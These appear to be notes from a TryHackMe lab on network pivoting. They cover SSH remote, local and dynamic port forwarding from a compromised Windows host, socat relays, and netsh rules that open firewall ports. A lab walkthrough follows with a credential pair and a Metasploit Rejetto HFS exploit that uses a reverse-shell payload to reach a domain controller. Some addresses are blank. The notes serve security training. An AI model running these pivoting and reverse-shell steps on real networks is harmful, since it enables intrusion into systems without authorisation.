Port forwarding

SSH tunnelling

SSH, as it already has built-in functionality to do port forwarding through a feature called SSH Tunneling. While SSH used to be a protocol associated with Linux systems, Windows now ships with the OpenSSH client by default, so you can expect to find it in many systems nowadays, independent of their operating system.

On Windows machines, most likely no SSH server will be available:

Basic SSH tunnel
Start a tunnel from the compromised machine, acting as an ssh client, to the attack machine,
which will act as an ssh server.

Making a connection back to our attacker’s machine, we will want to create a user in it without access to any console for tunnelling and set a password to use for creating the tunnels.

useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser

The SSH tunnel can be used to do either local or remote port forwarding.

SSH remote port forwarding

Remote port forwarding is useful, for example, when having gained control over the Windows host (it does not need to be administrator access) and would like to use it as a pivot to access a port on a server to which we can not directly connect.

Remote port forwarding
Take a reachable port from the SSH client (the compromised machine) and project it into a
remote ssh server (the attacker's machine).

To forward port 3389 on the server back to our attacker’s machine, on the compromised Windows host:

C:\> ssh tunneluser@ -R 3389: -N

This establishes an SSH session from (Compromised host) to (Attacker machine) using the tunneluser user.

Because the tunneluser is not allowed to run a shell on the attacker machine, we need to run the ssh command with the -N switch to prevent the client from requesting one, or the connection will exit immediately. The -R switch is used to request a remote port forward, and the syntax requires us first to indicate the port we will be opening at the ssh server (3389), followed by a colon and then the IP and port of the socket we will be forwarding ( Port numbers do not need to match.

When up and running, we can go to the attacker’s machine and RDP into the forwarded port to reach the server:

xfreerdp /v: /u:<username> /p:<password>

SSH local port forwarding

Local port forwarding allows for “pulling” a port from an ssh server into the ssh client. Any host on the network that can not connect directly to the attacker machine but can connect to the compromised host will now be able to reach the services offered on the attack machine through the pivot host.

local port forwarding
Take any service available in our attacker's machine and make it available through a port on the
compromised host.

To forward port 80 from the attack machine and make it available from the compromised host, run:

C:\> ssh tunneluser@ -L *:80: -N

The -L option requires indicating which local socket used by the compromised host to receive connections on (*:80) and the remote socket to connect to from the attack machine perspective (

Opening a new port on the compromised host, add a firewall rule to allow for incoming connections (with dir=in). This requires administrative privileges:

netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80

Up and running, any user pointing their browsers to the compromised host at will see the website published by the attack machine.

Port forwarding with socat

socat is not as flexible as ssh, and it is more noisy, but if ssh is not available on the compromised host, may be an option. It must be transferred to the compromised host first.

Socat 3389
Access port 3389 on the server using the compromised host as a pivot, with a similar
effect as SSH remote port forwarding.

To access port 3389 on the server using the compromised host:

C:\>socat TCP4-LISTEN:3389,fork TCP4:

The fork option forks a new process for each connection received, making multiple connections without closing possible. Otherwise, it would be closed after the first connection finishes.

And because a port is being opened on the pivot host, create a firewall rule:

netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389
Socat 80
The compromised host will spawn port 80 and listen for connections to be forwarded to port 80 on
the attack machine.

To expose port 80 from the attack machine, making it reachable by the server:

C:\>socat TCP4-LISTEN:80,fork TCP4:

Dynamic port forwarding and SOCKS

When wanting to run scans against many ports of a host, or even many ports across many machines through a pivot host, dynamic port forwarding seems a good choice. It allows for pivoting through a host and establishing several connections to any IP addresses/ports we want, by using a SOCKS proxy.

Establish a reverse dynamic port forwarding ssh tunnel on the compromised host:

C:\> ssh tunneluser@ -R 9050 -N

Edit the proxychains configuration on the attack machine:

sudo nano /etc/proxychains4.conf

Go down to the [ProxyList] section and add your proxy connection. The default port is 9050, but any port will work as long as it matches the one we used when establishing the SSH tunnel.

If we now want to execute any command through the proxy, we can use proxychains, for example:

proxychains curl http://pxeboot.za.tryhackme.com

Note: nmap might not work well with SOCKS in some circumstances


  • Connect to THMJMP2 via SSH using the credentials from the first task.

  • Connect via RDP to THMIIS using socat.

  • Exploit vulnerable Rejetto HFS on the Domain Controller.


With the credentials from the distributor, ssh into the jumphost:

ssh username@za.tryhackme.com@thmjmp2@za.tryhackme.com

On the jumphost, run socat:

C:\tools\socat\>socat TCP4-LISTEN:50000,fork TCP4:THMIIS.za.tryhackme.com:3389

The firewall is disabled.

Set up a listener on port 50000 on the attack machine, and connect to THMIIS via RDP from the attack machine by pivoting through the listener at THMJMP2:

xfreerdp /v:THMJMP2.za.tryhackme.com:13389 /u:t1_thomas.moore /p:MyPazzw3rd2020

Flag is on desktop of t1_thomas.moore.

Exploit Rejetto HFS on the Domain Controller

Use local port forwarding by adding -L *:6666: and -L *:7777: to the ssh command on the jumphost THMJMP2. This will bind both ports on THMJMP2 and tunnel any connection back to the attack machine:

C:\> ssh tunneluser@<IP attack machine> -R 8888:thmdc.za.tryhackme.com:80 -L *:6666: -L *:7777: -N

Start Metasploit and configure the exploit so that the required ports match the ports forwarded through THMJMP2:

msf6 > use rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > set payload windows/shell_reverse_tcp

msf6 exploit(windows/http/rejetto_hfs_exec) > set lhost thmjmp2.za.tryhackme.com
msf6 exploit(windows/http/rejetto_hfs_exec) > set ReverseListenerBindAddress
msf6 exploit(windows/http/rejetto_hfs_exec) > set lport 7777

msf6 exploit(windows/http/rejetto_hfs_exec) > set srvhost
msf6 exploit(windows/http/rejetto_hfs_exec) > set srvport 6666

msf6 exploit(windows/http/rejetto_hfs_exec) > set rhosts
msf6 exploit(windows/http/rejetto_hfs_exec) > set rport 8888
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

Receive a shell back at the attack machine. The flag is on C:\hfs\flag.txt.